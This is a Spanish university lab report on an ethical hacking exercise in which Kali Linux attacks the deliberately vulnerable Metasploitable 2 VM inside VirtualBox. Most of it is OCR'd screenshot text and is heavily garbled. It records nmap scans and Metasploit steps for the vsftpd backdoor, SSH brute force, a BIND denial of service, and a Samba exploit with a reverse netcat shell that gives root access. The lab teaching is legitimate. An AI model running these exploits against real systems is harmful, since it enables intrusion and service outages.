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Introduccion

El hacking ético consiste en realizar ataques controlados a sistemas y redes con el
objetivo de identificar vulnerabilidades antes de que puedan ser explotadas por atacantes
malintencionados. Durante el desarrollo del curso, se llevan a cabo este tipo de practicas
como método educativo para comprender, de forma segura, como operan los ciberataques y
como se pueden prevenir.

El presente informe tiene como finalidad documentar el proceso de configuraciéon y
pruebas realizadas en VirtualBox, utilizando los sistemas operativos Kali Linux como

maquina atacante y Metasploitable 2 como maquina victima.



@)

Universidad Tecnoldgica del Chocd
Diego Luis Cérdoba

Alcance

Esta practica tiene como alcance realizar un escaneo de la maquina victima con el

fin de identificar los puertos y servicios que se encuentran activos.
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Objetivos
General: Realizar un escaneo completo a la maquina victima para identificar
puertos y servicios activos.

Especificos:

Detectar los puertos abiertos y los servicios asociados.

e Identificar las versiones de los servicios para seleccionar los exploits

adecuados.

e [Ejecutar ataques controlados a los puertos objetivo dentro del entorno de

laboratorio.

e Consultar comandos que permitan contar letras y palabras en un archivo txt.
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Planteamiento del problema
En el presente laboratorio se requiere identificar las vulnerabilidades presentes en
los puertos abiertos de una maquina victima dentro de un entorno seguro de pruebas.
(Como detectar y analizar las vulnerabilidades presentes en los puertos abiertos de la

maquina victima?



1 DESARROLLO DEL PROBLEMA

1.1 Capitulo 1: Hacking Etico

En este primer capitulo, se abordo lo que fue la préactica de hacking ético en el
entorno controlado mediante el uso de VirtualBox. Para ello, se utiliz6 dos maquinas
virtuales: una con el sistema operativo Kali Linux (como atacante) y otra con

Metasploitable 2 (como victima).

Desde la terminal de Kali Linux se realizé diferentes conexiones hacia
Metasploitable 2 mediante diversos puertos abiertos. A través de estas conexiones, se
verifico y analizaron distintas vulnerabilidades presentes en los servicios expuestos por la

maquina victima.

Para comprender adecuadamente el proceso, es necesario definir algunos conceptos clave:
1.1.1 Metasploit

Es un marco de trabajo (framework) utilizado para el desarrollo y ejecucion de
exploits contra sistemas remotos. Permite automatizar tareas de pentesting y realizar
pruebas de seguridad de manera eficiente. Contiene una gran base de datos de

vulnerabilidades conocidas y herramientas para su explotacion.
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1.1.2 Msfconsole:
Es la interfaz de linea de comandos de Metasploit. Desde aqui se puede acceder a
modulos de escaneo, explotacion, post-explotacion, entre otros. Es una de las herramientas

mas potentes y utilizadas dentro del entorno de pruebas de penetracion.

1.2 Instalacion de Kali Linux y Metasploitable

En VirtualBox se realiz6 la instalacion de las dos maquinas virtuales necesarias para
el laboratorio de hacking ético:
Kali Linux: utilizada como maquina atacante.

Metasploitable 2: empleada como maquina victima.

* 4 N

Nueva Adadic  Configuracién

2 General B Previsualizacion

Nombre !

stema operativo: U

Metasploitable3-ub1404
® Apagada

tasploitable3-workspace_win2k8_ 1753911181128 4.
Apagada

vdi (Normal, 8,00 G8)

PCnet-PCl I (Red N Y
PCnet-PCl Il (Adap nf Only Ethernet Adapters;

M Carpetas compartidas

Ninguno

U I U |

llustracion 1 Maquinas virtuales
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1.3 Configuracion de la Red NAT

Ambas maquinas se configuraron en una red interna para permitir la comunicacion
entre ellas de forma segura y aislada del resto de la red. A continuacién, se muestra una

imagen de la configuracion.

Pestana Redes NAT

Redes en la nube

Subment Herramientas Y4B, © spageds

54 i e
LT
0 g Metasploitabled-ub1404

® fpagads

EIH] metasploitabled-workspace_winZk8_ 1753911181128 4.

008 @ Apagads

b Metasploitable 2
® Apagads

Configuracion de rango de I[P Y DHCP

Opcicnes general

Nombre:

Prefija I

Habilitar IPvé

llustracion 2 Configuracion Red Nat

Pasos:

e Haga clic en el menu Archivo de VirtualBox y luego seleccione Herramientas.

e En el submenu izquierdo, haga clic derecho sobre la opcion Red y seleccione Crear
red NAT.

e Se abrira una ventana con varias pestafas. Ubiquese en la pestaiia Redes NAT.

e Haga clic en el botén Crear en la parte superior de la ventana.

e En la parte inferior, configure el rango de IP de la red (por ejemplo, 10.0.2.0/24) y
habilite el servicio DHCP.

e Guarde los cambios.
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e Repita el proceso para asignar esta red a cada una de las maquinas virtuales (Kali
Linux y Metasploitable 2), desde la configuracion de red de cada maquina,

seleccionando la red NAT creada. A continuacion, se muestra una imagen.

# Kali linux - Settings
Basic Expert

General Red

Adaptador 1 p 3 -
T aptador 1 Adaptador 2 Adaptador 3 Adaptador 4

v Habilitar adaptador de red
Pantalla

Conectado a: Red NAT

Almacenamiento
Nombre: Semestre9-2025-1

Audio Tipo de adaptador:  Intel PRO/1000 MT Desktop (82540EM)

Red Modo promiscuo: Permitir todo

Puertos serie Direccion MAC: (¢ -A30

v Cable conectado
USB

Carpetas compartidas
Puertos serie

Interfaz de usuario

=
B
]
)
.' ]
=
.0
-
|

Puerto 1 Puerto 2 Puerto 3 Puerto 4

Aceptar Cancelar

[lustracion 3 Configuracion de Red Nat en la maquina virtual

Nota: En modo promiscuo, habilite permitir todo para asegurar que las maquinas

virtuales puedan interceptar y procesar todo el trafico en la red.
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1.4 Obtener la direccion IP de Metasploitable 2

Es necesario conocer la direccion IP de la maquina victima. Para ello, se siguieron
los siguientes pasos en la terminal de Linux:
1. Encienda las dos maquinas.
2. Abra una terminal en la maquina de Kali Linux.

3. Ingrese como usuario administrador con el comando: sudo su

=
Archivo Maquina Ver Entrada Dispositivos Ayuda

EmEPRPofl-|1 2 3 4|F 0 A 6T |8 e

root@kali: fhome/kali
Archivo Acciones Editar Vista Ayuda Captura de pantalla tomada

[sudo] contraseiia para kali:
/home/kali

Vi T W5 S 3 £ CTRL DERECHA

417p.m.
4/08/2025

BB @ Buscar Y A8 G " ¢ I N A BoD

1lustracion 4 Ingreso como superusuario

e El sistema solicitara la contrasefia del usuario actual. Ingrésela y presione Enter.

¢ Se consultd la ayuda de Nmap para recordar la sintaxis: Nmap --help



ca del C

fiquina Ver Entrada Disposit

S emP ol

] root@kali: fhome/lali
Archivo Acciones Editar Vista Ayuda

/home/kali

Input from 1
Choose
host1[, hos Llude hosts/networks
< ude list from file

g port
Treat all hosts as online
/PA/PU/PY[portlist v UDP or P disc
P,/ PM P echo, nd netmask request discovery probes
-PO[protocol list]: IP
r sometimes]
stom DNS servers

-sU: UDP

IP prot
FTP relay host>: FTP bounce
PORT SPECIFICATION AND ORDER:
an specified ports

=117 5 43 B CTRL DERECHA]

Q, Buscar @ D o

P
4/08/2

Llustracion 5 Salida del comando Nmap --help

Se procede a realizar un escaneo de descubrimiento ++para identificar los equipos

activos dentro del segmento de red configurado.

& root @kali: fhomejkali
Archivo Acciones Editar Vista Ayuda

sions @

eid @x1e<host>
Loopback)
bytes 4
dropped @ over
bytes 488 (48
erruns @ r sions @

Host is up (@
MAC Addr

Nm:

Host is up (@.00
MAC Address

Host is up

MAC Address

Nm:

Host is up (@

MAC Addr H : Al 4 r ir ' ual NIC
LLE r r r -net ( - )

Host is up.

Nmap done 56 IP addresses (5 hosts up)

/home/kali

[ ] Q Buscar

llustracion 6 Salida del comando nmap -sn
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1.5 [Escaneo de puertos y versiones de servicios

Se procede a realizar un escaneo de puertos con deteccion de versiones de los
servicios que se ejecutan en cada uno. Para ello, desde la terminal de Kali Linux se ejecutd
el siguiente comando:

/home/kali
100.10.2.0/24
Starting Nmap 7.95 ( h map.org ) at 2025-08-04 16:28 -05
Nmap scan report for lo@ RI-VFTTP-308.verizon-gni.net (100.10.2.1)
Host is up (@ 28s late

PORT
53/tcp oper
MAC Address

Nmap scan report for
Host is up (0.0013 y
Not shown: 955 f p ports (no-response), 43 closed tcp ports

VERSION
Microsoft Windows RPC

(QEMU virtual NI
CPE: cpe:/o dows

Nmap scan report for pool-100-10-2-3.prvdri.fios.verizon.net (100.10.2.3)

Host is up (0.00029s latency).

All 1000 scanned po on pool-100-10-2-3 fios.verizon.net (100.10.2.3) are in ignored states.
Not shown: 1000 filtered tcp ports (proto-un

i P ¢ W B LT S €3 B3 CTRL DERECHA

] i } " 2 %) = Esp 4o 431pm.
2 BB Q Buscar L) N C . : Y . A BB s

Llustracion 7 Ejecucion del comando nmap -sV

Donde:
e -sV activa la deteccion de version de los servicios en los puertos

encontrados.

e 100.10.2.0/24 es el rango de IP de la red interna configurada en VirtualBox.

La salida del comando muestra para cada host:
e Direccién IP.
e Lista de puertos abiertos.
e Estado del puerto.
e Servicio asociado al puerto.

e Version exacta del servicio detectado.
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En el caso de la maquina Metasploitable 2, el escaneo arroj6 varios puertos abiertos,
incluyendo FTP, SSH, Telnet, SMTP, DNS, SMB, MySQL, PostgreSQL, etc. A

continuacion, se muestra la imagen.

map scan report for pool-flESURFR. prvdri.fios.verizon.net (100.10.2.4)
ost is up (0.033s latency).
ot shown: 977 closed tcp ports (reset)
STATE SERVICE
open ftp
open ssh
open telnet
open smtp
open domain ISC BIND 9.
open http Apache httpd .8 ((Ubuntu) DAV
open rpcbind 2 (RPC #100000
open netbios-ssn mba smbd 3.X vorkgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - (workgroup: WOR
open
open OpenBSD or Solaris rlogind
open
099/tcp open j i GNU Classpath grmiregistry
/ open bin Metasploitable root shell
open nfs 2-4 (RPC #100003)
open ftp ProfFTPD 1.3.1
open mysql MySQL 5.0.51a-3ubuntu5
open postgresql
open
open
open UnrealIRCd
open jp13 Apache Jserv (Protocol
open t Apache Tomcat/Coyote JSP engine 1.1
s: 08:00:27: 74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

8. 63 3 CTRL DERECH

4:35p.m.

4
Do @ 4/08/2025

llustracion 8 Puertos abiertos y versiones de servicios en Metasploitable 2

En el navegador, se verifico la ip de la victima, si es correcta, esta mostrara una

interfaz como la siguiente:

Fd

Archive Méquina Ver Entrada
-
Metasploitable2 - Lin

C @

OffSec Kali Linux @

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[atimetasploit.com

Login with msfadmin/msfadnin to get started

b @ W E 275 3 £ CTRL DERECHA

ESP L gy, 436p.m.
N e T OE o

[lustracion 9 Pagina inicial de Metasploitable 2 accesible desde el navegador
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1.6 Explotacion de Puertos

Se realiz6 la explotacion de los siguientes puertos detectados en la maquina victima
Metasploitable 2. Para cada servicio se utiliz6 la informacion recolectada en el escaneo con

nmap -sV.

1.6.1 Puerto 21 — FTP (vsftpd 2.3.4)

e Servicio: FTP

e Version: vsftpd 2.3.4

e Vulnerabilidad: Backdoor Command Execution
o Exploit en Metasploit:

/home/kali
vsftpd 2.3.4

Exploit Title

- Backdoor Metasploit)

/home/kali

S ose

llustracion 10 Busqueda de vulnerabilidad para el puerto 21

Secuencia:

Abrir Metasploit Framework: Este paso se debe realizar para todos los

puertos que vayan a ser sometidos a ataques.

e Esperar a que cargue la interfaz de Metasploit Framework, la cual mostrara
el banner inicial.

e Desde alli, se podran buscar, seleccionar y ejecutar los exploits

correspondientes a cada servicio detectado.

e Ver imagen de la apertura de Metasploit Framework
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Archivo Acciones Editar Vista Ayuda

Shellcodes: No Results
/home/kali

Metasploit tip: When in a module, use back to go back to the top level
prompt

96 auxiliary - 431 post
ds - 49 encoders - 13 nops

)i 5 ¢ W B2 S, 6 0 CTRL DERECH,

4:49p.m.
4/08/2025

EE Q Busar DT D g ! 4 5 i Ad B Qow®

llustracion 11 Apertura de Metasploit Framework

Llamando el exploit: Busque el exploit usando el nombre del servicio o la version
exacta. Puede seleccionar por el numero que aparece en la columna #. O directamente por

la ruta/nombre del exploit.

#  Name isc Check D ption

@ exploit/unix/ftp/MSFEPd 234 backdoor 2 t No MSFETPD v2R30E Backdoor Command Execution

Exploit a usar

with a module by name or index. For example , 0
E configured, defaulting to cmd/unix/interact

Hlustracion 12 LLamado del exploit puerto 21

Es necesario verificar y configurar las opciones antes de ejecutarlo. Para ello, se
ejecuta el comando: options

Este mostrara los parametros requeridos y opcionales.
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e LHOST: Direccion IP de la maquina atacante (local).
e LPORT: Puerto local que recibira la conexion de la victima.
e RHOST: Direccion IP de la maquina victima.

e RPORT: Puerto del servicio objetivo en la maquina victima.

msf6 exploit( ) > options
Module options (exploit/ /vsftpd.
Name Current Setting Required
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type :port[,type:host:port][ ... ]
RHOSTS yes The target host(s), see http ocs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:

Id Name

0 Automatic

View the full module info with the , or command.

msf6 exploit( ) > set rhost 100.10.2.4
rho = 100.10.2.4
sf6 exploit( Y |

)i & W 215 19, 68 B CTRL DERECHA

- — . 2 ] ESP 5:00p.m.
2 5! Q Buscar - 9 - T Jo@® 4/03/5025

msf6 exploit( ) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Desc
CHOST The client address
C The local client port
A proxy chain of format t:port[,type:host:port]
100.10.2.4 The target host(s), see h docs.metasploit.com/doc -metasploit/basics/using-metasploit.html
21 The target port (TCP)
Exploit target:
Id Name

") Automatic

View the full module info with the ., or command.

msf6 exploit(

& EE Q suscar

Ejecute el set payload: El payload es el codigo que se ejecutara en la maquina
victima después de que el exploit tenga éxito.

Sin payload, el exploit no realizara ninguna accion util.

Este, lo puede localizar en el momento que se ejecuta el comando use (ver imagen)
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it(
cmd/uni

loit(

llustracion 14 Payload puerto 21

Ejecute el comando Exploit.

:21 - The port us r bind listener is :
= 1 - UID: ui ( gi

Found sh -
Command shell

llustracion 15 Exploit puerto 21

Se siguen pasos similares para los siguientes puertos.

1.6.2 Puerto 22 — SSH (OpenSSH 4.7p1)
Busqueda de la vulnerabilidad.

Archive Maquina Ver Entrada Disp
BEaPéri |

root @kali: fhome/kali
Archivo Acciones Editar Vista Ayuda

/home/kali
0

ge Escalation

/home/kali

=7 'S & O CTRL DERECHA

07y

llustracion 16 Busqueda de vulnerabilidad para el puerto 22



sclosure Date ank Che Description
ssh/SSh_Togin norm H Login

/ssh/sshilogin_pubkey norm H Publi

with a module by name or ind

> use 0
auxiliary( ) > options

Module options (auxiliary/scanner/ssh/ssh_login

Name Current Setting Required Description

ANONYMOUS_LOGIN ~ false Attempt to login with a blank username and password
BLANK_PASSWORDS  f. Try blank passwords for all users
BRUTEFO _SPEED How fast to brutefor
CreateSession
DB_ALL_CREDS Try each user/password couple sto in the current database
DB_ALL_PASS Add all passwords in the current database to the list
Add all users in the current database to the list
KIP_EXISTING Skip existing cur (Acce none, user, usergrealm)
PASSWORD A specific password to authent
PASS_FILE File containing passwords, one per line
RHOSTS The target host(s), see htt //docs.metasploit.com/docs/using-metasploit/basics/usin asploit.html
RPORT The target port
STOP_ON_SUCCE: false Stop guessing when a credential works for a host
THREADS The number of concurrent threads (max one per host)
USERNAME A specific username to authenticate as
USERPASS_FILE File containing users and passwords separated by space, one pair per line
USER_AS_PASS Try the username as the password for all users
USER_FILE File containing usernames, one per line
VERBOSE Whether to print output for all attempts

M S W 15 4. €3 B3 CTRL DERECHA

- . " 4 ESP 5:26p.m.
2 [ - ~ &Go = 4/08/2025

lustracion 18 Use vulnerabilidad puerto 22
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ful auxiliary( ) > set rhost 100.10
rhost = 100.10.
iary( ) > options

Module options (auxiliary/scanner/ssh/ssh_login):

rrent Setting Requi Description
ANONYMOUS_LOGIN false y Attempt to login with a blank username and password
BLANK_PASSWORDS ~ false Try blank passwords for all users
BRUTEFORCE_SPEED 5 How fast to bruteforce, from 0 to 5
CreateSession true Create a new session for ry successful login
false Try each user/password couple stored in the current database
_ALL_PASS false Add all passwords in the current database to the list
DB_ALL_USERS false Add all users in the current database to the list
DB_SKIP_EXISTING none Skip existing credentials sto in the cur t database (Accepted: none, user, users m)
PASSWORD A specific password to authenticate with
PASS_FILE File containing passwords, one per line
RHOSTS : The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT The target port
STOP_ON_SUCCESS ~ f Stop guessing when a credential works for a host
THREADS The number of concurrent threads (max one per h
USERNAME A specifi rname to authenticate as
USERPASS_FILE File containing users and passwords separated by space, one pair per line
USER_AS_PASS f Try the username as the password for all users
USER_FILE File containing usernames, one per line
VERBOSE Whether to print output for all attempts

« the full module f r command.
auxiliary(
€3 3 CTRL DERECHA

= y 5:28p.m.
Q Buscar - AA 0o = 4/08/2025

Llustracion 19 Configuracion de parametros requeridos options para él puerto 22

Explore las rutas de los diccionarios.

/home/kali
/usr/share/metasploit-framework/data/wordlists

/usr/share/metasploit-framework/data/wordlists

Llustracion 20 Rutas para diccionarios

/usr/share/metasploit-framework/data/wordlists

namelist

ploitable-plugins. txt

wp-themes. t
named_pipe

/usr/share/metasploit-framework/data/wordlists

lustracion 21 Resultado ejecucion de ruta
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En msfconsole, agregue la ruta del archivo a USER FILE, de la siguiente manera.

Archivo Maquina Ver Entrada Dispositivos Ayuda
BeaPoll-|1 23+ |qR Y
E root@kali: /home/kali

Archivo Acciones Editar Vista Ayuda
) > set rhost 100.10.2.4

auxiliary( ) > options
Module options (auxiliary/scanner/ssh/ssh_login):
Na nt Setting e r' cription

ANONYMOUS_LOGIN fals Attempt to login with a blank username and password
BLANK_PASSWORDS Try blank passwords for all users
BRUTEFORCE_SPEED How fast to bruteforce, from @ to 5
ate a new session for every successful login
y each user/password couple stored in the current database
Add all passwords in the cu 1t database to the list
ALL_USERS Add all users in the current database to the list
_SKIP_EXISTING skip existing credentials sto : r, usergrealm)
PASSWORD A specific password to authenticate with
PASS_FILE File containing passwords, one per line
The target host(s), see https://docs.metasploit.com/docs/using it/bas sing-metasploit.html
RPORT The target port
STOP_ON_SUC Stop guessing when a credential works for a host
THREADS The number of concurrent threads (max one per host)
USERNAME A specif: username to authenticate as
USERPASS_FILE File containing users and passwords separated by space, one pair per line
USER_AS_PASS T the username as the password for all users
USER_FILE File containing usernames, one per line
VERBOSE Whether to print output for all attempts

View the full module i r i command.
auxiliary( ) USER_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.t»
t

FILE /usr/share/metasploit-framework/data/wordl s/root_userpas
auxiliary

B 0N EF &N E LTS & B CTRLDERECHA

[ | ]| ] ESP 5:43p.m.
mm Q Buscar ; ST & = 4/08/2025

Mlustracion 22 Ruta del USER _FILE puerto 22

Agregue la ruta, para que busque en esa ruta los posibles usuarios y contrasefias.

msf6 auxiliary( ) > options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setti Required Description

ANONYMOUS_LOGIN false Attempt to login with a blank username and password
BLANK_PASSWORDS ~ false Try blank passwords for all users
BRUTEFORCE_SPEED 5 e How fast to bruteforce, from @ to 5
CreateSession true Create a new session for every successful login
DB_ALL_CREDS false Try each user/password couple stored in the current database
DB_ALL_PAS false Add all passwords in the current database to the list
DB_ALL_USERS false Add all users in the current database to the list
DB_SKIP_EXISTING none Skip existing credentials stored in the current database (Accepte none,
realm)
PASSI D A specific password to authenticate with
PASS_FILE File containing passwords, one per line
RHOSTS 00.10.2 The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
g-metasploit.html
RPORT f The target port
STOP_ON_SUCCESS Stop g ing when a ¢ L works for a host
THREADS The number of concurrent threads (max one per host)
RNAME A specific username to authentica s
USERPASS_FILE File containing users and passwords separated by spa
USER_AS_PASS Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists File containing usernames, one per line
/root_userpass.txt

)i 5 ¢ W B 15 7S, 6 E3 CTRL DERECHA
£ Q Buscar , d = E:Z D om Sepm

4/08/2025

Ilustracion 23 Resultado ejecucion de comando para agregar la ruta
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En la otra consola, abra el archivo de root userpass.txt en modo de edicion con el

comando nano:

/usr/share/metasploit-framework/data/wordlists

root_userpass.txt

Ilustracion 24 Edicion de archivo root_userpass.tex puerto 22

Archivo Acciones Editar Vista Ayuda

Ed
Archivo  Maquina Ver Entrada Dispositivos Ayuda
]| 2" 3 | o g
SR X MRy Y=
F root@kali: fusr/share/metasploit-framework/datajwordlists

Archivo Acciones Editar Vista Ayuda

root pass
root

trendimsal.e
tsli

ROOT500
fivranne

letmein
powerapp
dbps

t ibm

t monitor

t turnkey

/usr/share/metasploit-framework/data/wordlists

i W B S, 63 B3 CTRL DERECH

= ; . 2 Esp s53p.m.
BR Q@ Buscr 4 ) A B 4/08/2025

Hustracion 25 Resultado de creacion de usuarios



share/metasploit-framework/data/wordlists
4

1lustracion 26 Ejecucion de conexion ssh

Puerto 23 — Telnet (Linux telnetd)

a root@kali: fhome/kali
Archivo Acciones E

[sudo] ¢ para
/home/kali

Metasploit tip: View all productivity tips with the tips command

up, 3
the matrix has you
follow the white rabbit.

knock, knock, Ne

Ilustracion 27 msfconsole puerto 23

Busqué el Exploit para telnet, usando la version y el nombre.

rch telnet Linux telnetd

Matching Meodules

Description

AsusWRT LAN Unauthenticated Remote Code
D-Link DIR-6 DIR-815 diagnosti
MD - - - -
BHAEY mipsel . .
/misc/hp_jetdi or HP Jetdir: ution
t/Linux/fEelnet/ Eelnet_enc L#fiix BSD-de ID Buf
rget: Automatic . .

2009-10-

NETGEAR TElREfcnable

module by n,
ing with a module you can

with

llustracion 28 Busqueda del Exploit para telnet
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Use el exploit , que sirve para habilitar el servicio Telnet en algunos routers

Netgea.

msf6 > use 8
No payload configured, defaulting to cmd/unix/interact
msf6 exploit( ) > options

Module options (exploit/linux/telnet/netgear_telnetenable):
Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

FILTER no The filter string for capturing traffic
INTERFACE no name of the interface

MAC no C address of i

PASSWORD no word on de

PCAPFILE no The name of the PCAP capture fil process
Proxies no f

RHOSTS yes g s), ttps: ng-metasploit/basics/using-metasploit.html
RPORT yes The target p

SNAPLEN 3 yes The number of bytes to captur:

TIMEOUT yes The number of seconds to wait for new data
USERNAME no Username on device

Exploit target:
Id Name

@ Automatic (detect TCP or UDP)

[lustracion 29 Use puerto 23

Verifique el puerto y host de la victima, proceda a cambiar el host de la victima.

View the full module info with the inf r inf command .

set RHOST 10@.1¢

Detected telnetd on TCP

onnecting to telnetd
, but no session

1lustracion 30 Exploit puerto 23

Ejecute el Exploit, conecta, pero no se cred sesion automaticamente, por lo cual

proceda a crear la sesion.
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il root@kali: fhome/kali
Archivo Acciones Editar Vista Ayuda
100. 1

this VM to an

"

metasploitable login: msfadmin
Password

Last login:

Linux me

zon.net on pts/1

llustracion 31 Conexion Telnet Puerto 23
Ejecute comandos como:

To access official Ubuntu documentation,
http://help.ubuntu.com/
No mail.
msfadminametasploitable
msfadmin
msfadmingmetasploitable
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(f:
bashare), 1000(msfadmin)
msfadmingmetasploitable:
metasploitable
msfadmingmetasploitable:~$ uanme -a
-bash: uanme: command not found
msfadmingmetasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1
msfadmingmetasploitable:~$ uptime
02:44:44 up 56 min, 3 users, load average: 0.01, 0.03, 0.13
msfadminametasploitable 1s -la

total 36

please visit:

whoami

b hostname

\P Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

msfadmin
root
root
msfadmin
root
msfadmin
msfadmin
msfadmin

msfadmin 4096
root 4096
root g
msfadmin 4096
root 4174
msfadmin 586
msfadmin &4
msfadmin 4096
msfadmin msfadmin @

r msfadmin msfadmin 4096
msfadminametasploitable:~$ i

2012-
2010-04-16 0.
2012-05-14 00:
2010-04-17 1
2012-05-14
2010-03-16
2012-05-20
2010-05-17
2010-05-07
2010-04-27

.bash_history — /dev/null
.distcc

.sudo_as_admin_successful
vulnerable

Ilustracion 32 Navegacion por archivos puerto 23

e  Whoami: Ver el usuario actual

e [s -la: Ver estructura raiz

msfadmingmetasploitable:~$ 1s -la /ho
total

druxr-xr-x
drwxr-xr-x
druxr-xr-x
drwxr-xr-x
drwxr-xr-x sery
drw Xr-x user
msfadminametasploitable:

root
root
nogroup
msfadmin

4096 2010-04-16
012-05-20
2010-03-17
2012-05

2010-04-16
6 2010-05-07

ftp
msfad
service
use

msfadmin

ce

se),111(1padmin),112(admin),119(sam

3 E3 CTRL DERECHA
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1.7 Puerto 25 — SMTP (Postfix)

Realice conexion por Telnet al puerto 25:

ol root@kali: fhome/kall

Archivo Acciones Editar Vista Ayuda

0 msfadmin

Llustracion 33 Conexion por Telnet puerto 25

La salida indica que el servidor SMTP Postfix estad activo y escuchando conexiones.

El comando El comando VRFY se usa para enumeracion de usuarios.

En este caso, el servicio SMTP (Postfix) no tiene vulnerabilidades remotas de
ejecucion de codigo listas para explotar, pero si debilidades que se aprovechan en fases de
reconocimiento y enumeracion. Permite, sacar informacion 1til que luego se pueda usar

en otra fase de ataques.
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1.8 Puerto 53 — DNS (ISC BIND 9.4.2)

Este modulo causa una caida del servicio DNS.

msf6 > ch bind_tkey

dules

auxiliary/ 5-0 mal No BIND TKEY Que
ry Deni

Interact with a module by name or index. For example

> set RHOST 100.10.2.4

msf6 auxilia

Archive Maquina Ver Entrada Dispositivoes  Ayuda

LN BN AR

o

reot@kali: fheme/kali

Archivo Acciones Editar Vista Ayuda

communi
communications
communications error t

al options: +cmd
ers could be re

/home/kali

1lustracion 35 Verificacion del estado del servicio DNS puerto 53

Verifique el estado del servicio DNS, el resultado identifica que el servicio fue

afectado.



1.9 Puerto 139 y 445 — SMB (Samba 3.x — 4.x)

Entre a msfconsole.

Archive Maquina Ver Entrada Dispositivos Ayuda
]~
BlemPorl|:
Bl root@kali: fhome/kali

Archivo Acciones Editar Vista Ayuda

[sudo] contr para kali:
/home/kali

3Kom SuperHack II Logon

User Name:

Ilustracion 36 msfconsole puertos Samba

] root@kali: fhome/kali

Archivo Acciones Editar Vista Ayuda

ploit Documentation: https:

> use exploit/multi/samb,
d confi d cmd/unix
> set RHO!
msf
RPORT
msf6 exploit(

Module options ( amba/userm:
Name i quired De iption

The 1 client address
The 1
A proxy
. type:host:port][
100. 1€ 7 The
tas
sing-metasplo

RPORT 139 port (

be s

5. 48 [ CTRL DERECHA

llustracion 37 Parametros options puerto 139
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Maquina Ver Entrada Dispositivos Ayuda
("= P 7% 3
root@kali: /home/kali

Archivo Acciones Editar Vista Ayuda
RHOSTS  100.10.2.4 s The target host(s), see https://docs.me
tasploit m/docs/usi etasploit/basi
cs/using-metasploit.html
RPORT The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required iption

LHOST 100.10. The listen address (an interface may be s

LPORT 4444 The listen port

Exploit target:

Id Name

o Automatic

View the full module info with the i , or i -d command.

msf6 exploit( ) > set payload cmd/unix/reverse_netcat
payload = cmd/unix/rever
msf6 exploit( ) > exploit
Started reverse TCP handler on 100.10.2.5:4444
Command shell session 1 opened (100.10.2.5:4444 — 100.10.2.4
-08-07 10:17:17 -0500

€3 3 CTRL DERECHA

Una vez dentro, puede hacer uso de distintos comandos Linux para explorar

opciones.

exploit(
tarted reverse CP handler on 100.
ssion 1 opened (1

t root
root root
root root
root root )
root root ia/cdrom
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root L nohup.out
root root Mar 0 opt
root root 0 Aug 7 7 pro
root root Aug : root
root root 1 sbin
root r 16 srv
root sys
root 7 6 tmp
root L [ usr
root

43 ¥ CTRL DERECHA

llustracion 38 Exploit puerto 139
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i/samba/usermap ipt
defaulting to cmd/unix/reverse_n

root
root
root
root
1 root

ession 1 opened

root
root

oot T

root
root
root
root

00t T

root

00t T

root
root

root
root
root
root
ot
root
ot
root
root

(100.10

bin
beot
cdrom — med
e

home

initrd

initrd.img — boot/initrd.im:
lib

@ lost+found

10

medi
mnt
nohup. out

1lustracion 39 parametros puerto 445

1.10 Puerto 3306 — MySQL (5.0.51a).

Ed

Archi quina Ver Entrada

Archivo Acciones Editar

USERNAME root

the full module info w

e TCP handler

- Expl

k with 'mysqladmin flus| t
Exploit completed, but no ses

loit(

:OptionvalidateEr

Mysql

specified)

command .

ng optioens led to validate:

ORD must be sp ed

En msfconsole: Llene los pardmetros para el puerto 3306

llustracion 40 parametros puerto 3306

is ble

S €3 0 CTRL DERECHA
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Fd

Archive Maquina Ver Entrada Dispositives Ayuda

JL N BN RSl

| root@kali: fhome/kali

Archivo Acciones Editar Vista Ayuda

Shome/kali

/home/kali
- root
red error packet before completion of TLS handsha
) ollowing error nnot be verified: 1129 - Host 'pool
i.fios.verizon.net’' is blocked because of many connection errors; un
block with "mysgladmin flush-hosts’

/home/kali

Llustracion 41 Conexion puerto 3306

1.11 Puerto 5432 — PostgreSQL (8.3.x)

Se realiza ataque para Acceso SQL + ejecucion de comandos.

Archivo  Maquina Ver Entrada Dispositivos Ayuda
BemPo- |1 2:4|REmE A e e
] root@kali: /home/kali

Archivo Acciones Editar Vista Ayuda

[sudo] contraseiia para kali:

/home/kali

Metasploit tip: Use the edit command to open the currently active module
in your editor

payloads - 49 encoders -
evasion

entation: https://docs.metasploit.com/

tgres_sql

# Name Disclosure Date Rank Check
cription

B ONSE ¢#mME LTS @0 CTRLDERECH

[lustracion 42 msfconsole puerto 5432 — PostgreSQL (8.3.x)
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Archivo Maquina Ver Entrada Dispositivos Ayuda
I et e
= root@kali: fhome/kali
Archivo Acciones Editar Vista Ayuda
Metasploit Documentation: https://docs.metasploit.
> search postgres_sql
; Modules

# Name closure Date Rank Check
cription

0 auxiliary/admin/postgres/postgresisal - normal
tgreSQL Server Generic Query

Interact with a modu by name or index. For example

nsf6 )
New in Metasploit 6.4 - This module can target a
msf6 auxiliary( ) > options

Module options (auxiliary/admin/postgres/postgres_sql)
Name Current Setting Required Description
RETURN_ROWSET  true Set to true to see query result

sets
sqL select version() The SQL query to exe

VERBOSE false Enable verbose output

Used when connecting v i ESSION:

43 3 CTRL DERECHA

Archivo Méquina Ver Entrada Dispositivos Ayuda

SeoEPorl|:

root @kali: /homefkali

Archivo Acciones Editar Vista Ayuda

ms. uxiliary(
Module options (at
LELE]
RETURI
rsion() no
no
Used when connecting via an existil
Name rrent Requi

ON i te run this module on

Used when w connection vi
tting Required

no
no

“see https
metaspl

RPORT
USERNAME postgres

